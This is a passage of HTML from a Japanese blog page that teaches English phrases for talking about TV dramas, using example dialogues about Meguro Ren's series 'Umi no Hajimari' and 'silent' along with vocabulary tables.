<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="width: 36.6666%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;"><strong>episode</strong></td>
<td style="width: 62.9762%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;">話、エピソード</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="width: 36.6666%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;"><strong>to premiere</strong></td>
<td style="width: 62.9762%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;">〜を初回放送する</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="width: 36.6666%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;"><strong>to run late</strong></td>
<td style="width: 62.9762%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;">〜に遅れる</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="width: 36.6666%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;"><strong>be excited to</strong></td>
<td style="width: 62.9762%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;">〜に興奮する</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="width: 36.6666%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;"><strong>to look forward to ＋ 名詞／代名詞／動名詞（動詞＋ing）</strong></td>
<td style="width: 62.9762%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;">〜を楽しみにする。</p>
<p>I’m looking forward toはカジュアルな響きがあり日常的に使用できます。一方、I look forward toはフォーマルな響きがありビジネスなどの公の場で使われます。</p>
</td>
</tr>
</tbody>
</table>


<figure class="wp-block-image size-full is-resized"><img data-recalc-dims="1" loading="lazy" decoding="async" width="120" height="166" src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2024/05/a27b75757d525b3f69cc5bbef564304e.png?resize=120%2C166&#038;ssl=1" alt="" class="wp-image-2672" style="width:48px;height:auto"/></figure>



<h2 class="wp-block-heading"><strong>目黒蓮さん主演のドラマトークの花を咲かせよう！</strong></h2>



<figure class="wp-block-image size-full is-resized"><img data-recalc-dims="1" loading="lazy" decoding="async" width="678" height="382" src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2024/05/1000_F_799567637_WwuqvrGJUviyTjxsgfLOnxSj60RfXDML-edited.jpg?resize=678%2C382&#038;ssl=1" alt="" class="wp-image-2741" style="width:841px;height:auto" srcset="https://i0.wp.com/ffeng.jp/wp-content/uploads/2024/05/1000_F_799567637_WwuqvrGJUviyTjxsgfLOnxSj60RfXDML-edited.jpg?w=1000&amp;ssl=1 1000w, https://i0.wp.com/ffeng.jp/wp-content/uploads/2024/05/1000_F_799567637_WwuqvrGJUviyTjxsgfLOnxSj60RfXDML-edited.jpg?resize=300%2C169&amp;ssl=1 300w, https://i0.wp.com/ffeng.jp/wp-content/uploads/2024/05/1000_F_799567637_WwuqvrGJUviyTjxsgfLOnxSj60RfXDML-edited.jpg?resize=768%2C432&amp;ssl=1 768w, https://i0.wp.com/ffeng.jp/wp-content/uploads/2024/05/1000_F_799567637_WwuqvrGJUviyTjxsgfLOnxSj60RfXDML-edited.jpg?resize=600%2C338&amp;ssl=1 600w, https://i0.wp.com/ffeng.jp/wp-content/uploads/2024/05/1000_F_799567637_WwuqvrGJUviyTjxsgfLOnxSj60RfXDML-edited.jpg?resize=678%2C381&amp;ssl=1 678w" sizes="auto, (max-width: 678px) 100vw, 678px" /></figure>



<p>ドラマ用語やフレーズを学びながら、ドラマトークに花を咲かせてみましょう。さらにジャンルや表現を加えることで会話の内容に幅が出ます。</p>



<figure class="wp-block-image size-full is-resized"><img data-recalc-dims="1" loading="lazy" decoding="async" width="120" height="166" src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2024/05/a27b75757d525b3f69cc5bbef564304e.png?resize=120%2C166&#038;ssl=1" alt="" class="wp-image-2672" style="width:20px;height:auto"/></figure>



<div class="wp-block-vk-blocks-balloon vk_balloon vk_balloon-position-left vk_balloon-type-speech vk_balloon-animation-none"><div class="vk_balloon_icon"><figure><img data-recalc-dims="1" decoding="async" class="vk_balloon_icon_image vk_balloon_icon_image-type-normal " src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2024/05/boy_people_avatar_man_male_freckles_ginger-128.png?w=678&#038;ssl=1" alt=""/><figcaption class="vk_balloon_icon_name"></figcaption></figure></div><div class="vk_balloon_content_outer"><div class="vk_balloon_content  "><span class="vk_balloon_content_before "></span><span class="vk_balloon_content_after "></span>
<p><strong>Ren has been selected to play the lead role in a drama series airing on Monday nights at 9pm.</strong><br>目黒蓮が月9のドラマの主役に抜擢されたんだって！</p>
</div></div></div>



<div class="wp-block-vk-blocks-balloon vk_balloon vk_balloon-position-right vk_balloon-type-speech vk_balloon-animation-none"><div class="vk_balloon_icon"><figure><img data-recalc-dims="1" decoding="async" class="vk_balloon_icon_image vk_balloon_icon_image-type-normal " src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2024/05/girl_ginger_curly_people_woman_teenager_avatar-128-1.png?w=678&#038;ssl=1" alt=""/><figcaption class="vk_balloon_icon_name"></figcaption></figure></div><div class="vk_balloon_content_outer"><div class="vk_balloon_content  has-background-color " style="background:#ffe6e6"><span class="vk_balloon_content_before  has-text-color" style="border-color:transparent transparent transparent #ffe6e6"></span><span class="vk_balloon_content_after "></span>
<p><strong>Ren has started filming for a drama.</strong><br>蓮はもうクランクインしたそうよ</p>
</div></div></div>



<div class="wp-block-vk-blocks-balloon vk_balloon vk_balloon-position-left vk_balloon-type-speech vk_balloon-animation-none"><div class="vk_balloon_icon"><figure><img data-recalc-dims="1" decoding="async" class="vk_balloon_icon_image vk_balloon_icon_image-type-normal " src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2024/05/girl_ginger_glasses_people_woman_teenager_avatar-2-128.png?w=678&#038;ssl=1" alt=""/><figcaption class="vk_balloon_icon_name"></figcaption></figure></div><div class="vk_balloon_content_outer"><div class="vk_balloon_content  has-background-color " style="background:#f2e7fd"><span class="vk_balloon_content_before  has-text-color" style="border-color:transparent #f2e7fd transparent transparent"></span><span class="vk_balloon_content_after "></span>
<p><strong>Where is the filming location for &#8220;Umi no Hajimari&#8221;?</strong><br>海のはじまりのロケ地はどこなの？</p>
</div></div></div>



<div class="wp-block-vk-blocks-balloon vk_balloon vk_balloon-position-right vk_balloon-type-speech vk_balloon-animation-none"><div class="vk_balloon_icon"><figure><img data-recalc-dims="1" decoding="async" class="vk_balloon_icon_image vk_balloon_icon_image-type-normal " src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2024/05/boy_people_avatar_man_male_teenager_handsome_1-128-1.png?w=678&#038;ssl=1" alt=""/><figcaption class="vk_balloon_icon_name"></figcaption></figure></div><div class="vk_balloon_content_outer"><div class="vk_balloon_content  has-background-color " style="background:#ddffe8"><span class="vk_balloon_content_before  has-text-color" style="border-color:transparent transparent transparent #ddffe8"></span><span class="vk_balloon_content_after "></span>
<p><strong>I should rewatch “silent” before the new series starts. </strong><br>始まる前に「silent」をまた見ようかな</p>
</div></div></div>



<div class="wp-block-vk-blocks-balloon vk_balloon vk_balloon-position-left vk_balloon-type-speech vk_balloon-animation-none"><div class="vk_balloon_icon"><figure><img data-recalc-dims="1" decoding="async" class="vk_balloon_icon_image vk_balloon_icon_image-type-normal " src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2024/05/girl_blonde_pony_tail_people_woman_teenager_avatar-128.png?w=678&#038;ssl=1" alt=""/><figcaption class="vk_balloon_icon_name"></figcaption></figure></div><div class="vk_balloon_content_outer"><div class="vk_balloon_content  has-background-color " style="background:#fff8d8"><span class="vk_balloon_content_before  has-text-color" style="border-color:transparent #fff8d8 transparent transparent"></span><span class="vk_balloon_content_after "></span>
<p><strong>Silent is the best. No matter how many times I watch it, I cry every time.</strong><br>「silent」って最高だよね！何回見ても泣けるのよね</p>
</div></div></div>



<div class="wp-block-vk-blocks-balloon vk_balloon vk_balloon-position-right vk_balloon-type-speech vk_balloon-animation-none"><div class="vk_balloon_icon"><figure><img data-recalc-dims="1" decoding="async" class="vk_balloon_icon_image vk_balloon_icon_image-type-normal " src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2024/05/boy_people_avatar_man_male_teenager_hood-128-1.png?w=678&#038;ssl=1" alt=""/><figcaption class="vk_balloon_icon_name"></figcaption></figure></div><div class="vk_balloon_content_outer"><div class="vk_balloon_content  has-background-color " style="background:#e2ecff"><span class="vk_balloon_content_before  has-text-color" style="border-color:transparent transparent transparent #e2ecff"></span><span class="vk_balloon_content_after "></span>
<p><strong>I really liked the spin-off.</strong><br>スピンオフもすごくよかったよね</p>
</div></div></div>



<div class="wp-block-vk-blocks-balloon vk_balloon vk_balloon-position-left vk_balloon-type-speech vk_balloon-animation-none"><div class="vk_balloon_icon"><figure><img data-recalc-dims="1" decoding="async" class="vk_balloon_icon_image vk_balloon_icon_image-type-normal " src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2024/05/girl_ponytail_people_woman_teenager_avatar_portrait-128.png?w=678&#038;ssl=1" alt=""/><figcaption class="vk_balloon_icon_name"></figcaption></figure></div><div class="vk_balloon_content_outer"><div class="vk_balloon_content  has-background-color " style="background:#ffe8d8"><span class="vk_balloon_content_before  has-text-color" style="border-color:transparent #ffe8d8 transparent transparent"></span><span class="vk_balloon_content_after "></span>
<p><strong>I can&#8217;t wait to see the next episode.</strong><br>次回を見るのが待ちきれない</p>
</div></div></div>



<div class="wp-block-vk-blocks-balloon vk_balloon vk_balloon-position-right vk_balloon-type-speech vk_balloon-animation-none"><div class="vk_balloon_icon"><figure><img data-recalc-dims="1" decoding="async" class="vk_balloon_icon_image vk_balloon_icon_image-type-normal " src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2024/05/girl_female_adult_people_woman_doctor_avatar-128-1.png?w=678&#038;ssl=1" alt=""/><figcaption class="vk_balloon_icon_name"></figcaption></figure></div><div class="vk_balloon_content_outer"><div class="vk_balloon_content  has-background-color " style="background:#e6ffee"><span class="vk_balloon_content_before  has-text-color" style="border-color:transparent transparent transparent #e6ffee"></span><span class="vk_balloon_content_after "></span>
<p><strong>I’m happy to see Ren in the new series but have mixed feelings about having that actress as his girlfriend.</strong><br>新ドラマで蓮を見えるのは嬉しいけど、あの女優が彼女役なんて複雑〜</p>
</div></div></div>



<div class="wp-block-vk-blocks-balloon vk_balloon vk_balloon-position-left vk_balloon-type-speech vk_balloon-animation-none"><div class="vk_balloon_icon"><figure><img data-recalc-dims="1" decoding="async" class="vk_balloon_icon_image vk_balloon_icon_image-type-normal " src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2024/05/boy_people_avatar_man_male_freckles_ginger-128.png?w=678&#038;ssl=1" alt=""/><figcaption class="vk_balloon_icon_name"></figcaption></figure></div><div class="vk_balloon_content_outer"><div class="vk_balloon_content  has-background-color " style="background:#d5f0ff"><span class="vk_balloon_content_before  has-text-color" style="border-color:transparent #d5f0ff transparent transparent"></span><span class="vk_balloon_content_after "></span>
<p><strong>Silent has received critical acclaim.</strong><br>「silent」は批評家から高い評価を受けています</p>
</div></div></div>



<div class="wp-block-vk-blocks-balloon vk_balloon vk_balloon-position-right vk_balloon-type-speech vk_balloon-animation-none"><div class="vk_balloon_icon"><figure><img data-recalc-dims="1" decoding="async" class="vk_balloon_icon_image vk_balloon_icon_image-type-normal " src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2024/05/girl_ginger_curly_people_woman_teenager_avatar-128-1.png?w=678&#038;ssl=1" alt=""/><figcaption class="vk_balloon_icon_name"></figcaption></figure></div><div class="vk_balloon_content_outer"><div class="vk_balloon_content  has-background-color " style="background:#ffedfb"><span class="vk_balloon_content_before  has-text-color" style="border-color:transparent transparent transparent #ffedfb"></span><span class="vk_balloon_content_after "></span>
<p><strong>I can&#8217;t wait to see what&#8217;s going to happen next!</strong><br>次はどんなことが起きるんだろうね。楽しみー！</p>
</div></div></div>



<div class="wp-block-vk-blocks-balloon vk_balloon vk_balloon-position-left vk_balloon-type-speech vk_balloon-animation-none"><div class="vk_balloon_icon"><figure><img data-recalc-dims="1" decoding="async" class="vk_balloon_icon_image vk_balloon_icon_image-type-normal " src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2024/05/male_adult_manager_people_man_boss_avatar-128-1.png?w=678&#038;ssl=1" alt=""/><figcaption class="vk_balloon_icon_name"></figcaption></figure></div><div class="vk_balloon_content_outer"><div class="vk_balloon_content  "><span class="vk_balloon_content_before "></span><span class="vk_balloon_content_after "></span>
<p><strong>I started watching “silent” and it was so good that I ended up binge-watching till the finale.</strong><br>「silent」を見始めたら、とてもよかったから、最終話まで全部一気見しちゃったよ</p>
</div></div></div>



<div class="wp-block-vk-blocks-balloon vk_balloon vk_balloon-position-right vk_balloon-type-speech vk_balloon-animation-none"><div class="vk_balloon_icon"><figure><img data-recalc-dims="1" decoding="async" class="vk_balloon_icon_image vk_balloon_icon_image-type-normal " src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2024/05/girl_long_hair_beautiful_people_woman_teenager_avatar-128-1.png?w=678&#038;ssl=1" alt=""/><figcaption class="vk_balloon_icon_name"></figcaption></figure></div><div class="vk_balloon_content_outer"><div class="vk_balloon_content  has-background-color " style="background:#ffefd9"><span class="vk_balloon_content_before  has-text-color" style="border-color:transparent transparent transparent #ffefd9"></span><span class="vk_balloon_content_after "></span>
<p><strong>Silent was a big hit. “Umi no Hajimari” will be on trend this summer.</strong><br>「silent」は超人気だったよね。「海のはじまり」もトレンドになるわよ</p>
</div></div></div>



<div class="wp-block-vk-blocks-balloon vk_balloon vk_balloon-position-left vk_balloon-type-speech vk_balloon-animation-none"><div class="vk_balloon_icon"><figure><img data-recalc-dims="1" decoding="async" class="vk_balloon_icon_image vk_balloon_icon_image-type-normal " src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2024/05/girl_lady_beautiful_people_woman_mother_avatar-2-128.png?w=678&#038;ssl=1" alt=""/><figcaption class="vk_balloon_icon_name"></figcaption></figure></div><div class="vk_balloon_content_outer"><div class="vk_balloon_content  has-background-color " style="background:#e3fafe"><span class="vk_balloon_content_before  has-text-color" style="border-color:transparent #e3fafe transparent transparent"></span><span class="vk_balloon_content_after "></span>
<p><strong>Please don&#8217;t erase silent I recorded without asking.</strong><br>「silent」の録画、断りなしに消さないでね！</p>
</div></div></div>



<div class="wp-block-vk-blocks-balloon vk_balloon vk_balloon-position-right vk_balloon-type-speech vk_balloon-animation-none"><div class="vk_balloon_icon"><figure><img data-recalc-dims="1" decoding="async" class="vk_balloon_icon_image vk_balloon_icon_image-type-normal " src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2024/05/girl_young_female_people_woman_teenager_avatar-128-1.png?w=678&#038;ssl=1" alt=""/><figcaption class="vk_balloon_icon_name"></figcaption></figure></div><div class="vk_balloon_content_outer"><div class="vk_balloon_content  has-background-color " style="background:#ffe6e6"><span class="vk_balloon_content_before  has-text-color" style="border-color:transparent transparent transparent #ffe6e6"></span><span class="vk_balloon_content_after "></span>
<p><strong>It&#8217;s my pastime to watch the recorded “Umi no Hajimari” after I come home.</strong><br>帰宅後に録画した「海のはじまり」を見るのが楽しみなの</p>
</div></div></div>



<div class="wp-block-vk-blocks-balloon vk_balloon vk_balloon-position-left vk_balloon-type-speech vk_balloon-animation-none"><div class="vk_balloon_icon"><figure><img data-recalc-dims="1" decoding="async" class="vk_balloon_icon_image vk_balloon_icon_image-type-normal " src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2024/05/girl_ginger_glasses_people_woman_teenager_avatar-2-128.png?w=678&#038;ssl=1" alt=""/><figcaption class="vk_balloon_icon_name"></figcaption></figure></div><div class="vk_balloon_content_outer"><div class="vk_balloon_content  has-background-color " style="background:#f8fdd6"><span class="vk_balloon_content_before  has-text-color" style="border-color:transparent #f8fdd6 transparent transparent"></span><span class="vk_balloon_content_after "></span>
<p><strong>Mom, I forgot to set the machine to record “Umi no Hajimari” so can you please record it for me?</strong><br>ママ、「海のはじまり」の録画予約するの忘れちゃった。録画しといて欲しいな</p>
</div></div></div>



<div class="wp-block-vk-blocks-balloon vk_balloon vk_balloon-position-right vk_balloon-type-speech vk_balloon-animation-none"><div class="vk_balloon_icon"><figure><img data-recalc-dims="1" decoding="async" class="vk_balloon_icon_image vk_balloon_icon_image-type-normal " src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2024/05/glasses_businessman_people_male_man_avatar_leader-2-128-1.png?w=678&#038;ssl=1" alt=""/><figcaption class="vk_balloon_icon_name"></figcaption></figure></div><div class="vk_balloon_content_outer"><div class="vk_balloon_content  "><span class="vk_balloon_content_before "></span><span class="vk_balloon_content_after "></span>
<p><strong>I’m thinking about applying to be an extra.</strong><br>エキストラに応募しようと思ってるんだ</p>
</div></div></div>



<div class="wp-block-vk-blocks-balloon vk_balloon vk_balloon-position-left vk_balloon-type-speech vk_balloon-animation-none"><div class="vk_balloon_icon"><figure><img data-recalc-dims="1" decoding="async" class="vk_balloon_icon_image vk_balloon_icon_image-type-normal " src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2024/05/boy_people_avatar_man_male_young_face-128.png?w=678&#038;ssl=1" alt=""/><figcaption class="vk_balloon_icon_name"></figcaption></figure></div><div class="vk_balloon_content_outer"><div class="vk_balloon_content  has-background-color " style="background:#f4eafd"><span class="vk_balloon_content_before  has-text-color" style="border-color:transparent #f4eafd transparent transparent"></span><span class="vk_balloon_content_after "></span>
<p><strong>My girlfriend appeared as an extra in “Umi no Hajimari”</strong><br>俺の彼女、「海のはじまり」にエキストラ出演したんだよ</p>
</div></div></div>



<figure class="wp-block-image size-full is-resized"><img data-recalc-dims="1" loading="lazy" decoding="async" width="120" height="166" src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2024/05/a27b75757d525b3f69cc5bbef564304e.png?resize=120%2C166&#038;ssl=1" alt="" class="wp-image-2672" style="width:45px;height:auto"/></figure>



<h3 class="wp-block-heading"><strong>あれ？ドラマって言ったら通じなかった！</strong></h3>



<p>日本語でドラマというと、テレビで放送されるドラマを指すことがほとんですが、本来、<strong>drama</strong>は、<strong>戯曲や演劇</strong>という意味です。そのため、<strong>I like to watch drama.</strong>というと、<strong>演劇を見るのが好き</strong>、と捉えられて話が通じなくなってしまうことも。</p>



<figure class="wp-block-image size-full is-resized"><img data-recalc-dims="1" loading="lazy" decoding="async" width="120" height="166" src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2024/05/a27b75757d525b3f69cc5bbef564304e.png?resize=120%2C166&#038;ssl=1" alt="" class="wp-image-2672" style="width:20px;height:auto"/></figure>



<div class="wp-block-vk-blocks-balloon vk_balloon vk_balloon-position-left vk_balloon-type-speech vk_balloon-animation-none"><div class="vk_balloon_icon"><figure><img data-recalc-dims="1" decoding="async" class="vk_balloon_icon_image vk_balloon_icon_image-type-normal " src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2024/05/girl_long_hair_female_people_woman_teenager_avatar_2-128.png?w=678&#038;ssl=1" alt=""/><figcaption class="vk_balloon_icon_name"></figcaption></figure></div><div class="vk_balloon_content_outer"><div class="vk_balloon_content  has-background-color " style="background:#ffe2e9"><span class="vk_balloon_content_before  has-text-color" style="border-color:transparent #ffe2e9 transparent transparent"></span><span class="vk_balloon_content_after "></span>
<p><strong>I watched a drama series “Kieta Hatsukoi” on Netflix last night.</strong><br>昨晩、Netflixで「消えた初恋」を観たよ</p>
</div></div></div>



<div class="wp-block-vk-blocks-balloon vk_balloon vk_balloon-position-right vk_balloon-type-speech vk_balloon-animation-none"><div class="vk_balloon_icon"><figure><img data-recalc-dims="1" decoding="async" class="vk_balloon_icon_image vk_balloon_icon_image-type-normal " src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2024/05/girl_ginger_glasses_people_woman_teenager_avatar-2-128-1.png?w=678&#038;ssl=1" alt=""/><figcaption class="vk_balloon_icon_name"></figcaption></figure></div><div class="vk_balloon_content_outer"><div class="vk_balloon_content  has-background-color " style="background:#e0fff0"><span class="vk_balloon_content_before  has-text-color" style="border-color:transparent transparent transparent #e0fff0"></span><span class="vk_balloon_content_after "></span>
<p><strong>My grandma loves watching soap operas.</strong><br>私のおばあちゃんはメロドラマを観るのが大好きなの</p>
</div></div></div>



<div class="wp-block-vk-blocks-balloon vk_balloon vk_balloon-position-left vk_balloon-type-speech vk_balloon-animation-none"><div class="vk_balloon_icon"><figure><img data-recalc-dims="1" decoding="async" class="vk_balloon_icon_image vk_balloon_icon_image-type-normal " src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2024/05/girl_ponytail_people_woman_teenager_avatar_female-128.png?w=678&#038;ssl=1" alt=""/><figcaption class="vk_balloon_icon_name"></figcaption></figure></div><div class="vk_balloon_content_outer"><div class="vk_balloon_content  has-background-color " style="background:#d3eeff"><span class="vk_balloon_content_before  has-text-color" style="border-color:transparent #d3eeff transparent transparent"></span><span class="vk_balloon_content_after "></span>
<p><strong>I started watching the series of “silent”, and it was so good that I ended up binge-watching all 11 episodes.</strong><br>「サイレント」を見始めたら、とてもよかったから、11話全部一気に見てしちゃった</p>
</div></div></div>



<div class="wp-block-vk-blocks-balloon vk_balloon vk_balloon-position-right vk_balloon-type-speech vk_balloon-animation-none"><div class="vk_balloon_icon"><figure><img data-recalc-dims="1" decoding="async" class="vk_balloon_icon_image vk_balloon_icon_image-type-normal " src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2024/05/girl_long_hair_female_people_woman_teenager_avatar-128-1.png?w=678&#038;ssl=1" alt=""/><figcaption class="vk_balloon_icon_name"></figcaption></figure></div><div class="vk_balloon_content_outer"><div class="vk_balloon_content  has-background-color " style="background:#fffce3"><span class="vk_balloon_content_before  has-text-color" style="border-color:transparent transparent transparent #fffce3"></span><span class="vk_balloon_content_after "></span>
<p><strong>I started watching the TV drama “Trillion Game”, and it was so interesting that I ended up marathon-watching all 10 episodes. </strong><br>「トリリオンゲーム」を見始めたら、とても面白かったので、10話全部を一気見してしまいました</p>
</div></div></div>



<div class="wp-block-vk-blocks-balloon vk_balloon vk_balloon-position-left vk_balloon-type-speech vk_balloon-animation-none"><div class="vk_balloon_icon"><figure><img data-recalc-dims="1" decoding="async" class="vk_balloon_icon_image vk_balloon_icon_image-type-normal " src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2024/05/girl_ponytail_people_woman_teenager_avatar_cute-128.png?w=678&#038;ssl=1" alt=""/><figcaption class="vk_balloon_icon_name"></figcaption></figure></div><div class="vk_balloon_content_outer"><div class="vk_balloon_content  has-background-color " style="background:#fff2fc"><span class="vk_balloon_content_before  has-text-color" style="border-color:transparent #fff2fc transparent transparent"></span><span class="vk_balloon_content_after "></span>
<p><strong>How many episodes are there in the series of “Umi noHajimari”?</strong><br>「海のはじまり」は何話ありますか？</p>
</div></div></div>



<div class="wp-block-vk-blocks-balloon vk_balloon vk_balloon-position-right vk_balloon-type-speech vk_balloon-animation-none"><div class="vk_balloon_icon"><figure><img data-recalc-dims="1" decoding="async" class="vk_balloon_icon_image vk_balloon_icon_image-type-normal " src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2024/05/male_adult_manager_people_man_boss_avatar-128-2.png?w=678&#038;ssl=1" alt=""/><figcaption class="vk_balloon_icon_name"></figcaption></figure></div><div class="vk_balloon_content_outer"><div class="vk_balloon_content  "><span class="vk_balloon_content_before "></span><span class="vk_balloon_content_after "></span>
<p><strong>I tend to watch a drama in one go.</strong><br>一気にドラマを見がちでなんだ</p>
</div></div></div>



<div class="wp-block-vk-blocks-balloon vk_balloon vk_balloon-position-left vk_balloon-type-speech vk_balloon-animation-none"><div class="vk_balloon_icon"><figure><img data-recalc-dims="1" decoding="async" class="vk_balloon_icon_image vk_balloon_icon_image-type-normal " src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2024/05/girl_long_hair_beautiful_people_woman_teenager_avatar-128.png?w=678&#038;ssl=1" alt=""/><figcaption class="vk_balloon_icon_name"></figcaption></figure></div><div class="vk_balloon_content_outer"><div class="vk_balloon_content  has-background-color " style="background:#ffeae3"><span class="vk_balloon_content_before  has-text-color" style="border-color:transparent #ffeae3 transparent transparent"></span><span class="vk_balloon_content_after "></span>
<p><strong>I can&#8217;t believe you watched the entire season of that show in one sitting!</strong><br>一気にそのシーズンの番組を見たなんて信じられない！</p>
</div></div></div>



<div class="wp-block-vk-blocks-balloon vk_balloon vk_balloon-position-right vk_balloon-type-speech vk_balloon-animation-none"><div class="vk_balloon_icon"><figure><img data-recalc-dims="1" decoding="async" class="vk_balloon_icon_image vk_balloon_icon_image-type-normal " src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2024/05/boy_people_avatar_man_male_hat_ear_piercing-2-128-1.png?w=678&#038;ssl=1" alt=""/><figcaption class="vk_balloon_icon_name"></figcaption></figure></div><div class="vk_balloon_content_outer"><div class="vk_balloon_content  has-background-color " style="background:#ebffda"><span class="vk_balloon_content_before  has-text-color" style="border-color:transparent transparent transparent #ebffda"></span><span class="vk_balloon_content_after "></span>
<p><strong>I prefer miniseries because they are shorter and more concise.</strong><br>ミニシリーズって短くてわかりやすいから好きなんだ</p>
</div></div></div>



<div class="wp-block-vk-blocks-balloon vk_balloon vk_balloon-position-left vk_balloon-type-speech vk_balloon-animation-none"><div class="vk_balloon_icon"><figure><img data-recalc-dims="1" decoding="async" class="vk_balloon_icon_image vk_balloon_icon_image-type-normal " src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2024/05/glasses_businessman_people_male_man_avatar_leader-2-128.png?w=678&#038;ssl=1" alt=""/><figcaption class="vk_balloon_icon_name"></figcaption></figure></div><div class="vk_balloon_content_outer"><div class="vk_balloon_content  "><span class="vk_balloon_content_before "></span><span class="vk_balloon_content_after "></span>
<p><strong>Every episode ends with a cliffhanger, making it hard to stop watching.</strong><br>どのエピソードもクリフハンガーで終わるから、見るのをやめられないんだ</p>
</div></div></div>



<figure class="wp-block-image size-full is-resized"><img data-recalc-dims="1" loading="lazy" decoding="async" width="120" height="166" src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2024/05/a27b75757d525b3f69cc5bbef564304e.png?resize=120%2C166&#038;ssl=1" alt="" class="wp-image-2672" style="width:25px;height:auto"/></figure>


<table style="height: 1169px; width: 100%; border-collapse: collapse; border-color: #f6c2cb; border-style: dotted; background-color: #ffffff;">
<tbody>
<tr style="border-style: dotted; border-color: #f6c2cb; background-color: #f6c2cb;">
<td style="width: 36.6666%; height: 23px; border-style: dotted; border-color: #f6c2cb; text-align: center; vertical-align: middle;"><strong>単語・イディオム</strong></td>
<td style="width: 62.9762%; height: 23px; border-style: dotted; border-color: #f6c2cb; text-align: center; vertical-align: middle;"><strong>意味・解説</strong></td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="width: 36.6666%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;"><strong>be selected to</strong></td>
<td style="width: 62.9762%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;">〜に選ばれる</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="width: 36.6666%; height: 10px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;"><strong>leading role</strong></td>
<td style="width: 62.9762%; height: 10px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;">主役</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="width: 36.6666%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;"><strong>filming location</strong></td>
<td style="width: 62.9762%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;">ロケ地</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="width: 36.6666%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;"><strong>to rewatch</strong></td>
<td style="width: 62.9762%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;">〜を再度見る</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="width: 36.6666%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;"><strong>no matter how many times</strong></td>
<td style="width: 62.9762%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;">例え何度見ても　（<span style="text-decoration: underline;"><span style="color: #b51f1f; text-decoration: underline;"><a style="color: #b51f1f; text-decoration: underline;" href="https://ffeng.jp/2020/09/09/cloy5-2/">詳しくはこちら</a></span></span>）</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="width: 36.6666%; height: 34px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;"><strong>to received critical acclaim</strong></td>
<td style="width: 62.9762%; height: 34px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;">絶賛される</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="width: 36.6666%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;"><strong>what&#8217;s going to happen next</strong></td>
<td style="width: 62.9762%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;">次に起こること</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="width: 36.6666%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;"><strong>to end up ＋ 動名詞、名詞、副詞、前置詞</strong></td>
<td style="width: 62.9762%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;">最後には～になる。最終的に特定の場所や状況になること</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
